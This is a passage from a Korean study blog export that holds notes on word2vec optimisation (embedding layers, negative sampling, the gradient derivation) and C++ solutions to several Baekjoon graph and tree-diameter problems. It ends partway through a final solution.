4.1.2 Embedding 계층 구현 행렬에서 특정 행을 추출하는것은 꽤나 쉽다. $W$가 2차원 numpy 배열이라면, W[2]처럼 원하는 행을 명시하면 끝 입력층 단어가 일때도 쉽게 된다. 따라서 구현에서도 W[idx]로 인덱싱만 진행하면 된다. 역전파에서도 똑같이 전해진 기울기를 idx번째 행에 전달하면 된다. 그런데 여기서 문제가 발생한다. idx의 원소가 중복된다면? 예를 들어 입력층에서 넣은 단어인덱스 배열이 [0, 2, 0, 4]라면? 이 문제를 해결하기 위해 구현 시 dW의 층을 0으로 초기화하고 각 인덱스에 대해 더해주자. 4.2 word2vec 개선 2 여기서는 은닉층 이후의 처리, 즉 행렬곱과 Softmax계층의 계산 파트의 병목을 해소할 것 네거티브 샘플링을 이용할 것이다. 4.2.1 은닉층 이후 계산의 문제점 언제나 그랬듯 어휘가 100만개, 은닉층 뉴런이 100개라고 생각해보자. $W_{out} = 100 * 1000000$ 의 행렬 연산을 해서 100만 길이의 출력층을 만들고 이에 softmax 함수를 적용해서 확률을 얻어내야 한다. 4.2.2 다중 분류에서 이진 분류로 이 기법의 핵심 아이디어는 다중 분류(multi-class classification)을 이중 분류(binary classification)으로 근사하는데 있다. 100만개의 단어 중 옳은 단어 하나를 고르는 문제를, 맥락이 주어졌을 때 타깃 단어는 say 입니까? 라는 이진 분류, 즉 결정 문제로 바꿀 수 있다. 그렇다면 출력층에는 뉴런을 하나만 준비하면 된다! 따라서 연산은 $W_{out}[idx] = 100 * 1$ 로 바뀌게 되고, 길이 1의 출력층만 sigmoid를 적용하면 되게 되었다. 4.2.3 시그모이드 함수와 교차 엔트로피 오차 이진 분류 문제를 신경망으로 풀 때에는 점수에 시그모이드 함수를 적용해 확률로 변환하고 손실을 구할 때에는 손실 함수로 교차 엔트로피 오차를 사용한다. 시그모이드 함수는 앞에서 배운것과 같이 다음과 같고, $y = \\frac{1}{1+e^{-x}}$ 교차 엔트로피 오차는 다음과 같다. $L = -(t\\log y + (1-t)\\log (1-y))$ $y$는 시그모이드 함수의 출력, $t$는 정답 레이블 $t = 1$일 때 Yes, $t = 0$일때 No 따라서 $t = 1$일때 $-\\log y$가, $t = 0$일 때 $-\\log (1-y)$가 출력된다 이때 역전파 계산 결과, Chain Rule로 계산을 완료하면 전달되는 오차(기울기)가 $y-t$가 된다. $t = 0$일때는 $y$가 크면 크게 학습하고, $y$가 작으면 작게 학습한다는 의미도 된다! 4.2.4 다중 분류에서 이진 분류로 위의 모든 최적화를 거친 그림은 위와 같다. 여기서 출력층의 Embedding 계층과 내적 연산을 합쳐서 Embedding dot 계층으로 표현하면 조금 더 간단하게도 그릴 수 있다. Embedding dot 계층은 $h, idx$를 입력받아서 점수를 반환한다. 내적은 $\\text{Score} = \\sum\\limits_{i=1}^d{h_i \\cdot w_i} = h \\cdot w_{target}$ 이라고 생각할 수 있고, 곱의 결과로 나온 벡터가 실제 정답과 얼마나 유사한지에 대한 값이라고 생각할 수 있다. 4.2.5 네거티브 샘플링 위는 정답의 예만 신경썼고, 오답의 예를 신경쓰지 않았다. 이를 어떻게 학습시키면 좋을까? 모든 오답에 대해서 이진 분류를 학습시키면 어떨까? 그렇다면 다시 어휘의 수에 연산량이 비례하게 된다\u0026hellip;. 따라서 근사적인 해법으로, 부정적인 예를 조금만 선택하자! 이를 네거티브 샘플링이라고 한다. 4.2.6 네거티브 샘플링의 샘플링 기법 샘플링을 단순히 무작위로 할 것인가? 더 좋은 방법이 있다. 말뭉치의 통계 데이터를 기초로 샘플링하자! 자주 등장하는 단어를 많이 추출하고, 드물게 등장하는 단어를 적게 추출하자. 단어의 출현 횟수를 확률분포로 나타내고, 그 확률분포대로 단어를 샘플링하면 된다. 그런데, word2vec의 네거티브 샘플링에서는 각 확률분포에 0.75승을 하라고 권장한다. 이는 출현확률이 낮은 단어를 버리지 않게하기 위함으로, 낮은 출현율의 단어의 확률을 조금 끌어올릴 수 있다. 4.2.7 네거티브 샘플링 구현 앞과 크게 다르지 않다. 4.3 개선판 word2vec 학습 PTB 데이터셋으로 학습해보자. 4.3.1 CBOW 모델 구현 4.3.2 CBOW 모델 학습 코드 4.3.3 CBOW 모델 평가 4.4 word2vec 남은 주제 4.4.1 word2vec을 사용한 애플리케이션의 예 전이 학습 한 분야에서 배운 지식을 다른 분야에 적용하는 기법 자연어 문제를 풀 때, 처음부터 학습하는 것이 아니라 위키백과나 구글 뉴스등의 큰 말뭉치로 학습을 끝낸 후, 우리가 원하는 작업에 돌입하자. 문장을 고정크기 벡터로 변환할 때에는 단어 벡터들의 합을 이용하자. 4.4.2 단어 벡터 평가 방법 우리가 얻어낸 분산 표현이 좋은지는 어떻게 평가할 수 있을까? 단어의 유사성 사람이 작성한 단어 유사도를 검증 세트로 사용해 평가하는 것 유추 문제를 이용한 평가 \u0026ldquo;king : queen = man : ?\u0026rdquo; 과 같은 문제를 출제해서 정답률로 측정 4.5 정리 CBOW모델은 말뭉치의 어휘 수 증가에 비례해 계산량이 증가하는 문제가 있었다. 이를 Embedding계층 구현, 네거티브 샘플링 두가지 방법을 도입해서 해결하였다. 핵심은 어휘 모두를 처리하는 것이 아니라 일부 단어만을 대상으로 하는 것이다. ❔질문 사항 yes / no 결정문제로 만들면 no가 나오면 yes가 나올때까지 돌리는건가? 근데 그러면 똑같이 시간복잡도가 $O(N)$인거 아닌가? 아하, 위는 학습에서나 나오는 이야기고, 결국 나중에 디코딩할때는 = 단어를 찾을 때는 어떤 벡터의 결과값으로 가장 가까운 단어를 찾아가는건가? 그건 어떻게 이루어지지? 벡터공간에서 가장 가까운 점 찾기가 쉽나? -\u0026gt; 근사 최근접 이웃 (Approximate Nearest Neighbor, ANN) 알고리즘을 이용한다. Approximate Nearest Nighbor 알고리즘 🔗 참고 자료 https://word2vec.kr/search/\n해당 사이트에서 단어들 끼리의 벡터 연산을 직접 수행해볼 수 있다. 시그모이드 함수의 미분\n$\\frac{\\partial y}{\\partial x} = y(1 - y)$ 교차 엔트로피 오차 미분\n$$ \\begin{aligned} \\frac{\\partial L}{\\partial y} \u0026= - \\left( \\frac{t}{y} - \\frac{1 - t}{1 - y} \\right) \\\\ \u0026= - \\left( \\frac{t(1 - y) - y(1 - t)}{y(1 - y)} \\right) \\\\ \u0026= - \\left( \\frac{t - ty - y + ty}{y(1 - y)} \\right) \\\\ \u0026= \\frac{y - t}{y(1 - y)} \\end{aligned} $$ 최종 역전파\n$$ \\begin{aligned} \\frac{\\partial L}{\\partial x} \u0026= \\frac{\\partial L}{\\partial y} \\cdot \\frac{\\partial y}{\\partial x} \\\\ \u0026= \\frac{y - t}{y(1 - y)} \\cdot y(1 - y) \\\\ \u0026= y - t \\end{aligned} $$ ","date":"2026-01-27T00:00:00Z","permalink":"/posts/books/deep-learning-from-scratch-2/260127_til_%EB%B0%91%EB%B0%94%EB%8B%A5%EB%B6%80%ED%84%B0-%EC%8B%9C%EC%9E%91%ED%95%98%EB%8A%94-%EB%94%A5%EB%9F%AC%EB%8B%9D-2-4%EC%9E%A5-word2vec-%EC%86%8D%EB%8F%84-%EA%B0%9C%EC%84%A0/","title":"4장 word2vec 속도 개선"},{"content":"📝 상세 정리 주어진 쿼리포인트와 매우 가까운 데이터 포인트를 찾는 알고리즘\n기본적으로는 모든 노드에 대해 확인해봐야하므로 $O(N)$이다. KD-Trees\nLocality-Sensitive Hashing (LSH)\nAnnoy (Approximate Nearest Neighbors Oh Yeah)\nLinear Scan Algorithm\n이건 선형이자나 머야 ❔질문 사항 🔗 참고 자료 https://dytis.tistory.com/108 ","date":"2026-01-27T00:00:00Z","permalink":"/posts/algorithm/topics/260127_til_approximate-nearest-nighbor-%EC%95%8C%EA%B3%A0%EB%A6%AC%EC%A6%98/","title":"Approximate Nearest Nighbor 알고리즘"},{"content":"📝 상세 정리 이번 장도 단어의 분산 표현 앞 장에서 통계 기반 기법을 이용했다면, 이번에는 추론 기반 기법을 이용하겟다. 3.1 추론 기반 기법과 신경망 3.1.1 통계 기반 기법의 문제점 결국 동시발생 행렬을 만들고 SVD를 적용해야하는데, 이는 큰 말뭉치에서 너무 어렵다 동시발생행렬의 크기는 $O(N^2)$ SVD 연산 시간은 $O(N^3)$ 이라 어휘가 100만개 단위로 되면 현실적으로 불가능해진다 추론 기반 기법에서는 소량(미니배치)씩 학습해서 가중치를 갱신한다. 어휘량이 많아도 가능하고 여러 GPU를 이용한 병렬 계산도 가능하다! 3.1.2 추론 기반 기법 개요 추론: 주변 단어(맥락)이 주어졌을때 빈칸에 무슨 단어가 들어가는지를 추측하는 작업 추론을 통해 신경망으로 각 단어의 출현 확률을 만들자. 3.1.3. 신경망에서의 단어 처리 신경망은 단어를 그대로 처리할 수 없으니, 원핫 벡터로 변환하자. 원핫벡터: 벡터의 원소중 하나만 1이고 나머지는 모두 0인 벡터 3.2 단순한 word2vec 3.2.1 CBOW모델의 추론 처리 CBOW모델은 맥락으로부터 타겟을 추측하는 용도의 신경망 타겟은 중앙 단어, 맥락은 주변 단어 N개의 단어를 맥락으로 사용하기로 결정했다면, N개의 원핫벡터가 입력층이 된다. 은닉층에 들어갈 값은 여러개의 입력층의 결과의 평균이다. 첫번째 입력층의 결과가 $h_1$, 두번째 입력층의 결과가 $h_2$라면 은닉층의 뉴런은 $\\frac{1}{2}(h_1 + h_2)$ 이 된다. 출력층의 뉴런 하나하나는 각각의 단어에 대응되고, 해당 단어의 점수가 나온다. 점수는 확률로 해석되기 전의 값으로, softmax함수로 확률을 얻어낸다. 은닉층의 뉴런수를 입력층의 뉴런수보다 적게 하는것이 중요하다. 이렇게 해야 은닉층이 단어 예측에 필요한 정보를 간결하게 담게 되며, 결과적으로 밀집벡터 표현을 얻을 수 있다. 단어 벡터를 은닉층에 넣어서 사람이 알아보지 못하게 되는걸 인코딩, 반대로 은닉층의 정보를 사람이 알아볼 수 있는 결과로 만드는 작업을 디코딩이라고 한다. CBOW모델은 활성화 함수를 사용하지 않는 간단한 신경망이다. 여러개의 입력층은 같은 가중치를 공유한다. 3.2.2 CBOW 모델의 학습 위에서 구한 점수에 softmax함수를 적용하면 확률을 얻을 수 있다. 3.2.3 word2vec의 가중치와 분산 표현 $W_{in}$의 가중치의 각 행은 각 단어의 분산표현에 해당하고, $W_{out}$에서는 각 단어의 분산 표현이 열 방향으로 저장된다. 행렬의 차원중 어디가 각 단어에 대응되는지 알면 직관적인듯 3.3 학습 데이터 준비 3.3.1 맥락과 타깃 이전에 말한대로 맥락은 주변단어, 타깃은 중앙 한단어 맥락은 여러개가 될수 있으므로 contexts라고 복수형 표현을 권장 이전에 했던것과 같이 텍스트를 단어 ID로 바꾸고, 이를 배열로 저장한다. 3.3.2 원핫 표현으로 변환 학습에 사용하기 위해 이를 원핫 벡터로 바꾼다. 8개짜리, 7종류 단어의 문장이어서 (6, 2 )의 단어 ID 벡터가있었다면 이는 단어 ID가 원핫 베겉로 바뀌며 (6, 2, 7 )의 벡터가 된다. 3.4 CBOW 모델 구현 간단하게 두개의 맥락을 $W_{in}$ 을 통과켜서 평균을 내고, $W_{out}$을 거쳐서 softmax를 통해 Loss를 얻어내는 모델을 구상해보자. 3.4.1 학습 코드 구현 일반적인 신경망 학습과 완전히 같다! (1장 참조) 입력층의 가중치, 즉 $W_{in}$을 꺼내봄으로 단어 ID의 분산표현을 잘 확인할 수 있다. 하지만 아직 큰 맒룽치에서는 처리속도가 느리다는 문제점이 있다. 3.5 word2vec 보충 3.5.1 CBOW 모델과 확률 CBOW모델을 확률 표기법으로 기술해봦. 맥락이 두개인 경우, 조건부 확률 식으로 $P(w_t | w_{t-1}, w_{t+1})$ 과 같이 나타낼 수 있다. 이를 이용해 손실함수도 간결하게 표현할 수 있다. $L = -\\log P(w_t | w_{t-1}, w_{t+1})$ $L = -\\frac{1}{T} \\sum\\limits_{t = 1}^{T}\\log P(w_t | w_{t-1}, w_{t+1})$ 말뭉치 전체에 대한 식 3.5.2 skip-gram 모델 CBOW모델과 맥락과 타깃을 역전시킨 모델 중앙 단어 하나로 주변 단어를 예측하자 $P(w_{t-1}, w_{t+1} | w_t) = P(w_{t-1}| w_t) P(w_{t+1} | w_t)$ $L = -(\\log P(w_{t-1}| w_t) + \\log P(w_{t+1} | w_t))$ $L = -\\frac{1}{T} \\sum\\limits_{t = 1}^{T}(\\log P(w_{t-1}| w_t) + \\log P(w_{t+1} | w_t))$ 단어 분산의 정밀도 면에서 skip-gram 모델이 CBOW모델보다 더 좋을 때가 많다. 하지만 학습 면에서는 cbow 모델이 더 빠르다. 손실을 맥락의 수만큼 구해야하기 때문 3.5.3 통계 기반 vs 추론 기반 통계 기반은 전체를 보면서 1회, 추론 기반은 미니배치를 보면서 일부씩 여러번 학습했다. 여러가지 추가 상황들을 생각해보자. 어휘에 추가할 새 단어가 생겨난 경우 통계기반 방법은 계산을 처음부터 다시 해야함 추론기반 방법은 학습된 가중치를 초깃값으로 추가 학습을진행하면 됨 얻게되는 분산표현의 성격이나 정밀도 의외로 단어의 유사성을 정량평가한 결과, 둘 사이에 우열은 없었음 skip-gram과 네거티브 샘플링을 이용한 모델은 동시발생행렬에서 특수한 행렬 분해를 적용한 결과와 같았다!! ❔질문 사항 🔗 참고 자료 ","date":"2026-01-26T00:00:00Z","permalink":"/posts/books/deep-learning-from-scratch-2/260126_til_%EB%B0%91%EB%B0%94%EB%8B%A5%EB%B6%80%ED%84%B0-%EC%8B%9C%EC%9E%91%ED%95%98%EB%8A%94-%EB%94%A5%EB%9F%AC%EB%8B%9D-2-3%EC%9E%A5-word2vec/","title":"3장 word2vec"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/23569 번역 문제 번역 문제 설명 사람들 간의 상호작용이 주어질 때, 정점이 사람들이고 두 사람이 서로 친구인 경우에만 그들 사이에 간선이 있는 그래프를 정의할 수 있습니다. 이러한 그래프를 소셜 네트워크라고 하며, 예를 들어 대학의 학생들이나 작은 마을의 주민들과 같은 모든 사람들의 집합에 대해 잘 정의됩니다. 최근 몇 년간 소셜 네트워크를 분석하는 완전한 과학 분야가 생겨났는데, 이는 사람들과 그들의 행동에 대한 많은 흥미로운 측면들이 이 친구 관계 그래프의 속성으로 가장 잘 이해되기 때문입니다.\n문제 해결 수업의 학생들을 정점으로 하는 친구 관계 그래프가 주어졌을 때, 여러분의 과제는 수업의 학생들을 두 그룹 $A$와 $B$로 분해하되, 다음 세 가지 조건을 동시에 만족하도록 하는 프로그램을 작성하는 것입니다:\n수업의 각 학생은 정확히 하나의 그룹 $A$ 또는 $B$에 속합니다. 각 그룹 내의 임의의 두 학생은 서로 친구입니다. 그룹 $A$와 $B$의 크기 차이, 즉 $∣∣A∣−∣B∣∣$가 가능한 한 작아야 합니다. 예를 들어, 아래 그림에 나타난 친구 관계 그래프가 주어졌다고 가정합니다. 학생들을 $A = {u_1, u_2, u_3, u_6}$와 $B = {u_4, u_5, u_7}$로 분해하는 것은 불가능한데, 이는 $u_2$와 $u_6$이 친구가 아니기 때문입니다. 반면에 $A = {u_1, u_2}$와 $B = {u_3, u_4, u_5, u_6, u_7}$로의 분해에서는 각 그룹 내의 임의의 두 학생이 서로 친구이지만, 두 그룹 간의 크기 차이($|2 - 5| = 3$)가 $A = {u_1, u_2, u_3}$와 $B = {u_4, u_5, u_6, u_7}$로의 분해에서의 차이($|3 - 4| = 1$)보다 큽니다. 마지막 분해가 우리가 원하는 최적의 분해입니다.\n입력 프로그램은 표준 입력에서 읽습니다. 첫 번째 줄에는 두 정수 $n$과 $m$이 주어지며, 각각 친구 관계 그래프의 정점의 개수와 간선의 개수를 나타냅니다. 여기서 $2 ≤ n ≤ 1,000$이고 $0 ≤ m ≤ \\binom{n}{2}$라고 가정합니다. 정점은 $1$부터 $n$까지 인덱싱됩니다. 다음 $m$개의 줄에서 각 줄은 그래프의 간선 $(u, v)$를 나타내는 두 정수 $u$와 $v$를 포함합니다.\n출력 프로그램은 표준 출력에 출력합니다. 정확히 한 줄에 정수 하나를 출력합니다. 이 정수는 학생들이 위의 세 가지 조건을 만족하는 두 그룹으로 분해될 수 있는 경우 두 그룹 간 크기 차이의 최솟값이어야 하고, 그렇지 않으면 -1이어야 합니다.\n🧐 관찰 및 접근 간선이 연결되어있으면 같은 그룹이어야 한다 팀 편성 문제처럼, 여그래프를 만들면 좋겠다는 생각이 직관적으로 든다. 이번에는 여그래프가 연결그래프가 아닐 수 있으므로, 이후에 잘 나눠서 배낭문제 맛으로 하면 되지 않을까? 💻 풀이 코드 (C++): void solve(){ cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M; rep(i, 1, N+1) rep(j, 1, N+1) links[i][j] = true; rep(i, 0, M){ int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; links[u][v] = false; links[v][u] = false; } rep(i, 1, N+1) color[i] = 0; vector\u0026lt;pii\u0026gt; groups; rep(i, 1, N+1) if(color[i] == 0){ int cnt1 = 0, cnt2 = 0; color[i] = 1; queue\u0026lt;int\u0026gt; q; q.push(i); while(!q.empty()){ int cur = q.front(); q.pop(); if(color[cur] == 1) cnt1++; else cnt2++; rep(nxt, 1, N+1){ if(!links[cur][nxt]) continue; if(cur == nxt) continue; if(color[nxt] == 0){ color[nxt] = 3 - color[cur]; q.push(nxt); } else if(color[nxt] == color[cur]){ cout \u0026lt;\u0026lt; -1 \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; return; } } } groups.push_back({cnt1, cnt2}); } bag[0][0] = 1; rep(i, 0, groups.size()){ auto [c1, c2] = groups[i]; rep(j, 0, N+1){ if(!bag[i][j]) continue; bag[i+1][j + c1] = true; bag[i+1][j + c2] = true; } } int ans = 1e9; rep(i, 0, N+1) if(bag[groups.size()][i]) ans = min(ans, abs((N - i) - i)); cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-26T00:00:00Z","permalink":"/posts/algorithm/ps/260126_algorithm_boj-23569-friendship-graphs/","title":"BOJ 23569 Friendship Graphs"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/30690 🧐 관찰 및 접근 암튼 트리가 있다 간선 하나를 떼고 다시 연결해서, 가장 많은 간선을 지나가고싶다. 간선 하나를 떼고 다시 연결해서, 트리의 지름을 최대로 하고 싶다. 쪼개진 두개의 트리에서, 각각의 지름 + 1이 답이다. 트리를 쓰는 트리 문제 해당 문제에서, 해당 서브트리를 제외한 트리의 지름을 구할 수 있으면 되는 것 같다. 이는 리루팅과 부모깊이, 다른 자식의 깊이 두개정도를 잘 들고있으면 가능하겠다. 다른 자식의 지름도 들고있어야 한다!! 예제 트리 그림 💻 풀이 코드 (C++): int N, Q; vector\u0026lt;int\u0026gt; links[200010]; int depth[200010]; vector\u0026lt;pii\u0026gt; childs[200010]; // {mxDepth, nodeIdx} vector\u0026lt;pii\u0026gt; childs2[200010]; // {mxDiam, nodeIdx} int diam[200010], upDepth[200010], upDiam[200010]; void dfs1(int cur, int par){ vector\u0026lt;pii\u0026gt; ret; ret.push_back({0, cur}); for(auto nxt: links[cur]){ if(nxt == par) continue; depth[nxt] = depth[cur] + 1; dfs1(nxt, cur); diam[cur] = max(diam[cur], diam[nxt]); ret.push_back({childs[nxt][0].first + 1, nxt}); sort(all(ret), greater\u0026lt;pii\u0026gt;()); if((int)ret.size() \u0026gt; 3) ret.pop_back(); childs2[cur].push_back({diam[nxt], nxt}); sort(all(childs2[cur]), greater\u0026lt;pii\u0026gt;()); if((int)childs2[cur].size() \u0026gt; 2) childs2[cur].pop_back(); } childs[cur] = ret; if((int)ret.size() \u0026gt;= 2) diam[cur] = max(diam[cur], ret[0].first + ret[1].first); if((int)ret.size() \u0026gt;= 1) diam[cur] = max(diam[cur], ret[0].first); } void dfs2(int cur, int par, int mxUp){ for(auto nxt: links[cur]){ if(nxt == par) continue; vector\u0026lt;int\u0026gt; candidates; candidates.push_back(mxUp); for(auto [d, idx]: childs[cur]) if(idx != nxt) candidates.push_back(d); sort(all(candidates), greater\u0026lt;int\u0026gt;()); if((int)candidates.size() \u0026gt;= 2) upDiam[nxt] = max(upDiam[nxt], candidates[0] + candidates[1]); if((int)candidates.size() \u0026gt;= 1) upDiam[nxt] = max(upDiam[nxt], candidates[0]); for(auto [d, idx]: childs2[cur]) if(idx != nxt) upDiam[nxt] = max(upDiam[nxt], d); upDiam[nxt] = max(upDiam[nxt], upDiam[cur]); dfs2(nxt, cur, candidates[0] + 1); } } void solve(){ cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; Q; rep(i, 0, N-1){ int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; links[u].push_back(v); links[v].push_back(u); } dfs1(1, -1); dfs2(1, -1, 0); // rep(i, 1, N+1) cout \u0026lt;\u0026lt; diam[i] \u0026lt;\u0026lt; \u0026#34; \u0026#34;; cout \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; // rep(i, 1, N+1) cout \u0026lt;\u0026lt; upDiam[i] \u0026lt;\u0026lt; \u0026#34; \u0026#34;; cout \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; while(Q--){ int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; if(depth[u] \u0026lt; depth[v]) swap(u, v); cout \u0026lt;\u0026lt; diam[u] + upDiam[u] + 1 \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-26T00:00:00Z","permalink":"/posts/algorithm/ps/260126_algorithm_boj-30690-%EC%84%A0%EB%A1%9C-%EC%A1%B0%EB%A6%BD/","title":"BOJ 30690 선로 조립"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/19581 🧐 관찰 및 접근 가중치 없는 트리인줄 알고, 당연히 지름-1이 답이 아닌가? 했더니 가중치가 있었다 가중치가 있는 트리라면, 우리가 원래 쓰던 DFS두번이라는 방법은 쉽지 않을것같다 가장 긴 트리의 지름과, 두번째로 긴 트리의 지름이 아예 관계 없는 곳에 있을 수도 있지 않을까? 아닌가? 트리의 지름과 두번째 트리의 지름이 끝 정점을 공유하지 않는다고 하자. 그렇다면, 위 그림과 같이 압축해서 나타낼 수 있다. 이 때, $a + b = D_1 \\geq c + d = D_2$라 하자. 일반성을 잃지 않고 $a \\geq b, c \\geq d$라 하자. 서로 공유하는 정점 하나가 있는 경우 $a + c \\geq D_1/2 + D_2/2 \\geq D_2$ 이므로, a와 c를 지나는 경로가 우리가 가정한 두번째 지름보다 더 크거나 같다. 더 큰 경우 모순이고 같은 경우 $a+c$를 두번째 지름으로 택해도 아무 문제가 없다. 서로 공유하는 정점이 없는경우 (다른 서브트리에 나타낼 수 있는 경우) $a + c + e + f \\geq D_1/2 + D_2/2 + e + f \u003e D_2$ 이므로, $D_2$의 경로는 두번째 트리의 지름이 아니다. 따라서, 트리의 두번째 지름의 한 끝점은 트리의 지름의 한 끝점과 같다. DFS를 돌려서 트리의 지름 양 끝 점을 찾고, 거기서부터 두번째지름을 한번씩 찾아주자. 💻 풀이 코드 (C++): vector\u0026lt;pii\u0026gt; dfs(int cur, int par){ vector\u0026lt;pii\u0026gt; v; v.push_back({0, cur}); for(auto [nxt, w]: links[cur]){ if(nxt == par) continue; auto nv = dfs(nxt, cur); rep(i, 0, min(2, (int)nv.size())){ v.push_back({nv[i].first + w, nv[i].second}); } sort(all(v), greater\u0026lt;pii\u0026gt;()); while(v.size() \u0026gt; 2) v.pop_back(); } return v; } void solve(){ cin \u0026gt;\u0026gt; N; rep(i, 0, N-1){ int u, v, w; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v \u0026gt;\u0026gt; w; links[u].push_back({v, w}); links[v].push_back({u, w}); } int L = dfs(1, -1)[0].second; // 트리의 지름의 한쪽 끝 int ans = 0; auto ret = dfs(L, -1); ans = max(ans, ret[1].first); // 두번째 트리의 지름 후보 1 int R = ret[0].second; // 트리의 지름의 다른쪽 끝 ret = dfs(R, -1); ans = max(ans, ret[1].first); // 두번째 트리의 지름 후보 2 cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-25T00:00:00Z","permalink":"/posts/algorithm/ps/260125_algorithm_boj-19581-%EB%91%90-%EB%B2%88%EC%A7%B8-%ED%8A%B8%EB%A6%AC%EC%9D%98-%EC%A7%80%EB%A6%84/","title":"BOJ 19581 두 번째 트리의 지름"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/32144 🧐 관찰 및 접근 문제에 내 이름이 나와서 기분이 좋다. 서브트리를 하나 잡아서, 그 서브트리의 루트와 그 부모와의 연결을 끊고 서브트리의 임의의 정점과 방금 끊은 부모를 연결하는 연산을 할 수 있다. 직관적으로, 해당 서브트리에서 줄 수 있는 길이의 가중치가 깊이에서 지름으로 바뀜을 알 수 있다. Tree DP를 이용한 트리의 지름 구하기 방법을 이용하면 좋을 것 같다. 위와 같은 경우같은게 발생할 것 같다. 두번째로 작은 트리의 지름과 마찬가지로, 기존 지름의 양 끝 점중 한 점은 유지된다. \u0026hellip;인줄알았는데 안된다. 다음과 같이 서브노드 안에 기존 트리의 지름이 다 있는 경우도 있다\u0026hellip; 결국 문제에서도 말하는 것처럼 문제를 부분트리와 그 나머지로 보면, 리루팅이 가능하지 않을까? 리루팅을 이용해서, 다음과 같은 정보를 저장하자. 서브트리의 지름 해당 서브트리에서 가장 깊은 깊이 두개 (리루팅용) 해당 노드에서 위로 갔을때, 가장 깊은 길이 이는 dfs를 이용해서 구현 가능하고, 시간복잡도는 $O(N)$이다. 디버깅을 위한 예제 2번 그림 💻 풀이 코드 (C++): int N; vector\u0026lt;int\u0026gt; links[300005]; vector\u0026lt;pii\u0026gt; max_depth[300005]; int diam[300005]; int updepth[300005], updiam[300005]; vector\u0026lt;pii\u0026gt; dfs(int cur, int par){ vector\u0026lt;pii\u0026gt; v; v.push_back({0, cur}); for(auto nxt: links[cur]){ if(nxt == par) continue; auto nv = dfs(nxt, cur); diam[cur] = max(diam[cur], diam[nxt]); v.push_back({nv[0].first + 1, nxt}); sort(all(v), greater\u0026lt;pii\u0026gt;()); while(v.size() \u0026gt; 2) v.pop_back(); } if(v.size() \u0026gt;= 2) diam[cur] = max(diam[cur], v[0].first + v[1].first); else diam[cur] = max(diam[cur], v[0].first); max_depth[cur] = v; // cout \u0026lt;\u0026lt; \u0026#34;cur: \u0026#34; \u0026lt;\u0026lt; cur \u0026lt;\u0026lt; \u0026#34; diam: \u0026#34; \u0026lt;\u0026lt; diam[cur] \u0026lt;\u0026lt; \u0026#34; max_depth: \u0026#34;; // for(auto p: v) cout \u0026lt;\u0026lt; \u0026#34;(\u0026#34; \u0026lt;\u0026lt; p.first \u0026lt;\u0026lt; \u0026#34;,\u0026#34; \u0026lt;\u0026lt; p.second \u0026lt;\u0026lt; \u0026#34;) \u0026#34;; // cout \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; return v; } void dfs2(int cur, int par){ for(auto nxt: links[cur]){ if(nxt == par) continue; updepth[nxt] = updepth[cur] + 1; if(max_depth[cur][0].second != nxt) updepth[nxt] = max(updepth[nxt], max_depth[cur][0].first + 1); else if(max_depth[cur].size() \u0026gt;= 2) updepth[nxt] = max(updepth[nxt], max_depth[cur][1].first + 1); dfs2(nxt, cur); } } void solve(){ cin \u0026gt;\u0026gt; N; rep(i, 2, N+1){ int p; cin \u0026gt;\u0026gt; p; links[p].push_back(i); links[i].push_back(p); } dfs(1, -1); dfs2(1, -1); rep(i, 2, N+1) cout \u0026lt;\u0026lt; max(diam[1], updepth[i] + diam[i]) \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-25T00:00:00Z","permalink":"/posts/algorithm/ps/260125_algorithm_boj-32144-%ED%8A%B8%EB%A6%AC%EB%A5%BC-%EC%93%B0%EB%8A%94-%ED%8A%B8%EB%A6%AC-%EB%AC%B8%EC%A0%9C/","title":"BOJ 32144 트리를 쓰는 트리 문제"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/1154 🧐 관찰 및 접근 A / B팀으로 나누는걸 보면 당연히 이분그래프를 떠올릴 수 있겠는데.. 같은 그룹의 학생들끼리는 모두 서로 아는 사이여야 한다? 우리가 아는 이분그래프의 정의랑 뭔가 느낌이 다르다! 저 말을 다시한번 생각해보자 같은 그룹의 학생이다 -\u0026gt; 서로 아는사이이다 이 문장의 대우명제는? 서로 모르는 사이이다 -\u0026gt; 다른 그룹의 학생이다 그렇다면, 그래프의 간선을 뒤집어버리자! $N$은 최대 1000이므로, 간선 $M = N^2$개는 충분히 계산할 수 있다. 이렇게 간선을 뒤집은 그래프를 여 그래프, 혹은 complement graph라고 한다. 💻 풀이 코드 (C++): void solve(){ cin \u0026gt;\u0026gt; N; while(1){ int u, v; cin 